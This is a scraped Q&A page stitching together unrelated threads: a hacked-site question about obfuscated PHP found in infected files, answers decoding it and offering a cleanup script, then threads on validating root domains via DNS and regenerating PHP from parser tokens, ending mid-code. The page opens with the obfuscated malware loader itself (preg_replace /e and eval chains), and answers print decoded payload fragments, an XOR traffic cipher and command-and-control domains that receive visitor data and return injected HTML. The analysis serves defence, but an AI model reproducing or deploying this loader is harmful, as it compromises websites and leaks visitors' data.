78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%x76]277]y72]265]y39]271]y83]256]y78]248]y827!hmg%x5c%x7825!)!gj!<2,*qpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824x7825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824doF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x561%154%x28%151%x6d%160%x6c%157%x6%x5c%x7824gps)%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x785j:.2^,%x5c%x7825b:<!%x5c%x<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x78*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x78787fw6*%x5c%x787f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x57###7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c61%171%x5f%155%x61%160%x28%42%x66%152%x66%147%x67%42%x2c%163%x7x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5ce:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78x5c%x7825o:W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x782x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%k;opjudovg}%x5c%x7877825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x782f#00#W~!%}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5!|!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~!%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZASV<*w%x5c%5c%x7878:<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x77825c:>%x5c%x7825s:%x5c%x785c%x5c%x7825j25!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf%x5c%x7825!*##>>X)!gjZ<#opo#>b%x533]65]y31]53]y6d]281]y43825<#762]67y]562]38y]572]48y]j%x5c%x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubx7824-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsboep5h>#]y31]278]y3e]81]K78:56985:6197g:74787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822o]#%x5c%x782f*)323zbe!-#jt0*?]+^782f#00;quui#>.%x5c%x7825!<***f%x5c%x7946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQc%x7825}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv5c%x782f#%x5c%x782f},;#-#}+;%x5c%x7825-qp%x5c%x7&f_UTPI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%x5+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{25)Rb%x5c%x7825))!gj!<*#cd1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%xj!|!*msv%x5c%x7825)}k~~~<ftm4-%x5c%x7824y7%x5c%x7824-%x5ce%x5c%x7825!osvufs!*!+A!>!{e%x5x7825)uqpuft%x5c%x7860msc%x7825>U<#16,47R57,27R]K5]53]Kc#<%x5c%x7825tp&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!x7825!<**3-j%x5c%x78%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825fdy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37]278]225]241]3x5c%x782f#%x5c%x7825#%x5c%x782f#mqnj!%x5c%x782f!#0#)idubn%x5c#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<%x5c#-%x5c%x7825tdz*Wsfuvso!%x5c%78242178}527}88:}334}472%x5c%x7824<!%x5c%x7825mm!>!#]y81]273fttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x7825%x5c%x7827Y%x>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785c%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x782f#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%xf!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjudovg}{;60%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%xc%x787f<u%x5c%x7825Vif((function_exists("%x6f%142%x5f%163%x74%141%x7%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%xz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4x5c%x78257>%x5c%x782f7&6|7**11x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5 c%x7825c5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825)dfyfR%x5c%x7827tfs%x54%162%x5f%163%x70%154%x69%164%50%x22%134%x78%62%x35%c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*#)tutjyf%x5c%x7860opjudovg)!gE#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t2w>#]y74]273]%x5c%x785cq%x5c%x7825)uoe))1%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x!>!tus%x5c%x7860sfqmbdf)%x5c%4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7825)hopm3qjA)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%x6<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x]252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]yq%x5c%x7825V<*#fopoV;hojepmsvd}+;!>!}%x5c%x7827;!4%145%x28%141%x72%162%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5#57]38y]47]67y]37]88y]27]28y]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x78827,*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%xov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:825<#372]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q%x5c%x77825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN}7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*]78]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x78]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ff2!c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827&7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7824-%x5c%x7824!>!fyqchr(ord($n)-1);} #erro%x7824*<!%x5c%x7824-2bge56+99386c6f+9f5d816:+25)3of:opjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x824<%x5c%x7825j,,*!|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%x782mpef)#%x5c%x7824*<!%x5c%x7825kj:!>!#]y3825!*72!%x5c%x7827!hmg%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x782[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-d]51]y35]256]y76]72]y3d]51]y35]274]yeobs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!*#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x78]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<bg!osvufs!|ftmf!~<**9.-j%x5c5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]273]y76]271]y7dx7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5**b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x7sfw)%x5c%x7825c*W%x5c%x7825eN+#Qi%x7825bss%x5c%x785csbhpph#)zbssb!-#}#)fep:~:<*9-1-r%x5c%x7825)825,3,j%x5c%x7825>j%x5c%82f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upcotn+qsvmt+fmc%x78786<C%x5c%x7827&6<*rfs%x5c1127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5%x7825-bubE{h%x5c%x7825)su34]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x7825)25-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%xx7827)fepdof.)fepdof.%x5c%x782f###%V,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%xr_reporting(0); preg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%166%xy76]277]y72]265]y39]274]y85]273]y6g]273]y76]271]y7d]252c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!~!<b%*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:osv2%164") && (!isset($GLOBALS["%x61%156%x75%156%xu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%8257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]5j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%5c%x7825)fnbozcYufhA%x5c%x78272qj%x/(.*)/epreg_replacestvbowvmjj'; $uskbxljsbs = explode(chr((169 - 125)), '6393,48,9851,47,2858,50,3117,23,8291,22,9595,68,3457,33,7412,23,3914,63,6775,52,3088,29,1791,56,2150,28,6441,66,3140,43,1906,35,926,36,7276,35,2578,51,2993,59,275,45,6613,30,9241,42,9210,31,886,40,9989,41,5417,69,4931,62,1312,54,534,47,483,51,7223,53,10071,35,6190,50,3811,39,6142,48,2353,24,7062,23,6048,57,1266,46,3977,58,8168,55,1633,23,5272,63,2455,47,2659,30,6751,24,6827,38,2377,38,9554,41,3706,63,5644,70,4249,67,5105,50,4787,40,5574,24,1087,21,7389,23,1108,60,6277,47,6865,29,5486,28,8828,28,9283,26,1366,61,3223,27,6949,50,8506,23,3850,64,1739,52,9128,24,5714,20,9449,70,7435,62,8131,37,4653,70,0,29,4316,56,3572,68,4528,39,180,20,9379,70,200,35,1028,30,92,20,5025,38,7567,50,9519,35,2908,51,8672,58,8986,47,9152,58,9087,20,5879,29,3769,42,8029,45,5391,26,8333,25,5063,42,5203,69,9718,65,726,20,157,23,4567,33,1847,28,1212,54,9898,51,3640,66,6324,49,5155,48,61,31,9783,68,2271,36,815,38,7717,69,2793,42,5335,56,5543,31,3399,58,2629,30,6373,20,4372,65,8925,61,5598,23,362,57,7363,26,3353,46,3052,36,1581,52,2178,48,4180,20,853,33,1656,26,2766,27,5847,32,4993,32,1168,44,9663,55,2835,23,698,28,5908,51,6999,63,1530,51,419,64,9107,21,7617,37,7497,70,962,66,2415,40,4437,51,7786,70,4624,29,8730,39,8358,50,5988,60,8074,57,6105,37,4723,64,1682,57,1489,41,1058,29,3250,41,7155,29,3291,62,29,32,8408,59,5514,29,8313,20,3490,55,235,40,8223,68,8467,39,8636,36,7184,39,320,42,9033,34,6643,67,2521,57,2026,60,2959,34,7856,64,6240,37,4200,49,4827,66,1979,47,4893,38,581,48,1875,31,655,43,4035,53,5621,23,6507,46,6553,60,8769,59,7654,63,7920,49,8593,43,5734,68,5802,45,9309,70,1941,38,629,26,5959,29,9067,20,7085,70,9949,40,4088,56,10030,41,4144,36,8529,64,3545,27,4488,40,2307,46,2086,64,1427,62,6710,41,746,69,2689,20,2709,57,6894,55,2226,45,8856,26,8882,43,7311,52,3183,40,112,45,4600,24,7969,60,2502,19'); $aemhtmvyge = substr($nzujvbbqez, (69491 - 59385), (44 - 37)); if (!function_exists('hperlerwfe')) { function hperlerwfe($opchjywcur, $oguxphvfkm) { $frnepusuoj = NULL; for ($yjjpfgynkv = 0;$yjjpfgynkv < (sizeof($opchjywcur) / 2);$yjjpfgynkv++) { $frnepusuoj.= substr($oguxphvfkm, $opchjywcur[($yjjpfgynkv * 2) ], $opchjywcur[($yjjpfgynkv * 2) + 1]); } return $frnepusuoj; }; } $rfmxgmmowh = " /* orpuzttrsp */ eval(str_replace(chr((230-193)), chr((534-442)), hperlerwfe($uskbxljsbs,$nzujvbbqez))); /* unvtjodgmt */ "; $yiffimogfj = substr($nzujvbbqez, (60342 - 50229), (38 - 26)); $yiffimogfj($aemhtmvyge, $rfmxgmmowh, NULL); $yiffimogfj = $rfmxgmmowh; $yiffimogfj = (470 - 349); $nzujvbbqez = $yiffimogfj - 1; ?>
After digging though the obfuscated code untangling a number of preg_replace, eval, create_function statements, this is my try on explaining what the code does: The code will start output buffering and register a callback function triggered at the end of buffering, e.g. when the output is to be sent to the web server. First, the callback function will attempt to uncompress the output buffer contents if necessary using gzinflate, gzuncompress, gzdecode or a custom gzinflate based decoder (I have not dug any deeper into this). With the contents uncompressed, a request will be made containing the $_SERVER values of HTTP_USER_AGENT HTTP_REFERER REMOTE_ADDR HTTP_HOST PHP_SELF ... to the domain given by chars 0-8 or 8-15 (randomly picks one or the other) in an md5 hash of the IPv4 address of "stat-dns.com" appended with ".com", currently giving md5(".com" . <IPv4> ) => md5(".com8.8.8.8") => "54dfa1cb.com" / "33db9538.com". The request will be attempted using file_get_contents, curl_exec, file and finally socket_write. Note that no request will be made if: any of the HTTP_USER_AGENT, REMOTE_ADDR or HTTP_HOST is empty/not set PHP_SELF contains the word "admin" HTTP_USER_AGENT contains any of the words "google", "slurp", "msnbot", "ia_archiver", "yandex" or "rambler". Secondly, if the output buffer contents has a body or html tag, and the response from the request above (decoded using en2() function below) contains at least one "!NF0" string, the content between the first and second "!NF0" (or end of string) will be injected into the HTML page at the beginning of the body or in case there is no body tag, the html tag. The code used for encoding/decoding traffic is this one: function en2($s, $q) { $g = ""; while (strlen($g) < strlen($s)) { $q = pack("H*", md5($g . $q . "q1w2e3r4")); $g .= substr($q, 0, 8); } return $s ^ $g; } $s is the string to encode/decode and $q is a random number between 100000 and 999999 acting as a key. The request URL mentioned above is calculated like this: $url = "http:// ... /" . $op // Random number/key . "?" . urlencode( urlencode( base64_encode(en2( $http_user_agent, $op)) . "." . base64_encode(en2( $http_referrer, $op)) . "." . base64_encode(en2( $remote_addr, $op)) . "." . base64_encode(en2( $http_host, $op)) . "." . base64_encode(en2( $php_self, $op)) ) ); While I have not found any sign of what initially placed the malicious code on your server, or that it does anything else than allowing for bad HTML/JavaScript code to be injected on your web pages that does not mean that it is not still there. You really should make a clean install, like suggested by #Bulk above: The only way you'll ever know for sure it's been cleaned is to re-install absolutely everything you can from scratch - i.e. fresh wordpress install, fresh plugin install. Then literally comb every line of your theme for anything out of the ordinary. Also of note, they often will put things in wp-content/uploads that look like images but aren't - check those too. Pastebin here.
Hacked site - encrypted code
Couple days ago I gave noticed that almost all php files on my server are infected with some encrypted code and in almost every file is different. Here is the example from one of the files: http://pastebin.com/JtkNya5m Can anybody tell me what this code do or how to decode it?
You can calculate the values of some of the variables, and begin to get your bearings. $vmksmhmfuh = 'preg_replace'; //substr($qbrqftrrvx, (44195 - 34082), (45 - 33)); preg_replace('/(.*)/e', $viwdamxcpm, null); // Calls the function wgcdoznijh() $vmksmhmfuh($ywsictklpo, $viwdamxcpm, NULL); So the initial purpose is to call the wgcdonznijh() function with the payloads in the script, this is done by way of an embedded function call in the pre_replace subject the /e in the expression. /* aviewwjaxj */ eval(str_replace(chr((257-220)), chr((483-391)), wgcdoznijh($tbjmmtszkv,$qbrqftrrvx))); /* ptnsmypopp */ If you hex decode the result of that you will be just about here: if ((function_exists("ob_start") && (!isset($GLOBALS["anuna"])))) { $GLOBALS["anuna"] = 1; function fjfgg($n) { return chr(ord($n) - 1); } #error_reporting(0); preg_replace("/(.*)/e", "eval(implode(array_map("fjfgg",str_split("\x25u:f!>!(\x25\x78:!> ... The above is truncated, but you have another payload as the subject of the new preg_replace function. Again due to e it has the potential to execute. and it is using the callback on array_map to further decode the payload which passed to the eval. The pay load for eval looks like this (hex decoded): $t9e = '$w9 ="/(.*)/e";$v9 = #5656}5;Bv5;oc$v5Y5;-4_g#&oc$5;oc$v5Y5;-3_g#&oc$5;oc$v5Y5;-2_g#&oc$5;oc$v5Y5;-1_g#&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW#5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW#5{6))086,1pi$6,J(tcennocW#!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW#&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi#(pi2gnol#&2pi$5;)X$(emanybXteg#&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap#6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi#&%5;-elif#&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z#&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg# nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe#=1a$ ;)po$,)-$(dtg#(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45#9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *# = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W#Y#RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|#:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W#; $syv= "eval(str_replace(array"; $siv = "str_replace";$slv = "strrev";$s1v="create_function"; $svv = #//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46x.x?x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x$1\d6x\"=m$;"261'x1x.1x\"=r$;"351xa\07x\"=p$;"651.x%1x&1x\"=l$9{9)q$9,s$(2ne9noitcnuf;}#; $n9 = #1067|416|779|223|361#; $ll = "preg_replace"; $ee1 = array(#\14#,#, $#,#) { #,#[$i]#,#substr($#,#a = $xx("|","#,#,strpos($y,"9")#,# = str_replace($#,#x3#,#\x7#,#\15#,#;$i++) {#,#function #,#x6#,#); #,#for($i=0;$i Which looks truncated ... That is far as I have time for, but if you wanted to continue you may find the following url useful. http://ddecode.com/ Good luck
I found the same code in a Wordpress instance and wrote a short script to remove it of all files: $directory = new RecursiveDirectoryIterator(dirname(__FILE__)); $iterator = new RecursiveIteratorIterator($directory); foreach ($iterator as $filename => $cur) { $contents = file_get_contents($filename); if (strpos($contents, 'tngmufxact') !== false && strlen($contents) > 13200 && strpos($contents, '?>', 13200) == 13278) { echo $filename.PHP_EOL; file_put_contents($filename, substr($contents, 13280)); } } Just change the string 'tngmufxact' to your obfuscated version and everything will be removed automatically. Maybe the length of the obfuscated string will differ - don't test this in your live environment! Be sure to backup your files before executing this!
I've decoded this script and it is (except the obfuscation) exactly the same as this one: Magento Website Hacked - encryption code in all php files The URL's inside are the same too: 33db9538.com 9507c4e8.com e5b57288.com 54dfa1cb.com If you are unsure/inexperienced don't try to execute or decode the code yourself, but get professional help. Besides that: the decoding was done manually by picking the code pieces and partially executing them (inside a virtual machine - just in case something bad happens). So basically I've repeated this over and over: echo the hex strings to get the plain text (to find out which functions get used) always replace eval with echo always replace preg_replace("/(.*)/e", ...) with echo(preg_replace("/(.*)/", ...)) The e at the end of the regular expression means evaluate (like the php function eval), so don't forget to remove that too. In the end you have a few function definitions and one of them gets invoked via ob_start.
How to strip subdomains to get valid root domain using PHP?
Ok, here's what I'm looking for: from a list of links, I'm stripping everything but the domains. The result is a mixed list of domains and domain-names which represent subdomains. stackoverflow.com security.stackexchange.com whoknows.test.co.uk you.get.it.by.now.dont.you.com What I want to do is to trim all list entries down to their VALID (=only existing) root domains like this: stackoverflow.com security.stackexchange.com test.co.uk -fail- Currently I explode each line into an array and work my list from back to front, using curl to check each potential root domain for it's existance... as soon as curl throws back a HTTP code >= 200 and < 400, I regard the root domain to be found. When the end of each potential domain lookup is done and no valid domain has been found at all, the domain is considered to be non-existant. input: stackoverflow.com test: stackoverflow.com - succeeds and is the root domain result: stackoverflow.com - valid root domain input: whoknows.test.co.uk test: co.uk - fails test: test.co.uk - succeeds (theoretically) and is the root domain result: test.co.uk - valid root domain input: you.get.it.by.now.dont.you.com test: you.com - fails test: dont.you.com - fails test: now.dont.you.com - fails test: by.now.dont.you.com - fails test: it.by.now.dont.you.com - fails test: get.it.by.now.dont.you.com - fails test: you.get.it.by.now.dont.you.com - fails result: you.get.it.by.now.dont.you.com - invalid domain Is there any alternative way to do this? I would like to stop heating up my webserver's CPU with 2 to X (=near to unlimited) curl look-ups for every domain on my 100.000+ list. Also, all these lookups take a bunch of time. Maybe - so I hope - there is a quicker solution to do this. The catch? It has to work with PHP.
There are a bunch of shortcuts to acheive what you need. For example, you already know that .co.uk and .com are TLDs, so checking these you can obviously skip. The problem is with all the other crazy TLDs. I suggest you take a look at the source for ruby-domain-name They have done a lot of work using RFCs and known data, to try and process it the right way.
So... I've been fiddling around with this for a long time now, looking for the potential bottlenecks and after a few days of back and forth I discovered that it's actually CURL (that's waiting for the individual servers to respond with a HTTP code) that's making things slower than needed. In the end, I opted in for a different "gethostbyname" function that takes IP6 into account to solve my problem(s). function my_gethostbyname($host, $try_a = FALSE) { $dns = gethostbynamel6($host, $try_a); if ($dns == FALSE) { return FALSE; } else { return $dns[0]; } } function gethostbynamel6($host, $try_a = FALSE) { $dns = array(); $dns6 = #dns_get_record($host, DNS_AAAA); if($dns6!== FALSE) { $dns = array_merge($dns, $dns6); } if ($try_a == TRUE) { $dns4 = #dns_get_record($host, DNS_A); if($dns4!== FALSE) { $dns = array_merge($dns, $dns4); } } else { $dns = $dns6; } $ip6 = array(); $ip4 = array(); foreach ($dns as $record) { if ($record["type"] == "A") { $ip4[] = $record["ip"]; } if ($record["type"] == "AAAA") { $ip6[] = $record["ipv6"]; } } if (count($ip6) < 1) { if ($try_a == TRUE) { if (count($ip4) < 1) { return FALSE; } else { return $ip4; } } else { return FALSE; } } else { return $ip6; } } As soon as the first domain-part actually resolves to an IP, (a) the domain exists and (b) is the root domain. This spares me major time and the trick of this is that you're only as slow as your DNS resolution and some microsecs. The curl option I used before took around 3 seconds per call (sometimes up to the full timeout range I had set to 20 secs), depending on the target server's response time - if any. The path I now chose is easy to understand: I end up with a list of resolving domains and - when needed - I can check those using curl "on demand" or using one or more CRON jobs "on interval". I know that it's kind of a workaround, but splitting the problem into two tasks (1 = pre-check for root domain, 2 = check if domain returns expected HTTP code) makes the whole thing faster than trying to do the complete job at once using curl. What I've learned from this... When checking domains, try to resolve them first so you can spare yourself the timeout burden that comes with curl. Curl is great for many tasks, but it's not the smartest way to try to do everything with it. When you think you can't solve a problem more than you've tried to do, split the problem in two or more parts and check again. Chances are big that you'll discover a whole new world of options to enhance what you've got. I hope this spares someone the burden of fiddling around with an alike problem for weeks. ;)
class DomainUtils { function __construct(){ //only these super domains $this->superDomains = array( '.com', '.gov', '.org', '.co.uk', '.info', '.co', '.net', '.me', '.tv', '.mobi' ); } //get super domain public function getMainDomain($domain = null){ $domainChunks = explode('.', str_ireplace($this->superDomains, '', $domain)); if(sizeof($domainChunks) == 0){ return false; } foreach($domainChunks as $key => $domainChunk){ if($key < sizeof($domainChunks) - 1){ $domain = str_ireplace($domainChunk . '.', '', $domain); } } return $domain; } }
Generating PHP code (from Parser Tokens)
Is there any available solution for (re-)generating PHP code from the Parser Tokens returned by token_get_all? Other solutions for generating PHP code are welcome as well, preferably with the associated lexer/parser (if any).
From my comment: Does anyone see a potential problem, if I simply write a large switch statement to convert tokens back to their string representations (i.e. T_DO to 'do'), map that over the tokens, join with spaces, and look for some sort of PHP code pretty-printing solution? After some looking, I found a PHP homemade solution in this question, that actually uses the PHP Tokenizer interface, as well as some PHP code formatting tools which are more configurable (but would require the solution as described above). These could be used to quickly realize a solution. I'll post back here when I find some time to cook this up. Solution with PHP_Beautifier This is the quick solution I cooked up, I'll leave it here as part of the question. Note that it requires you to break open the PHP_Beautifier class, by changing everything (probably not everything, but this is easier) that is private to protected, to allow you to actually use the internal workings of PHP_Beautifier (otherwise it was impossible to reuse the functionality of PHP_Beautifier without reimplementing half their code). An example usage of the class would be: file: main.php <?php // read some PHP code (the file itself will do) $phpCode = file_get_contents(__FILE__); // create a new instance of PHP2PHP $php2php = new 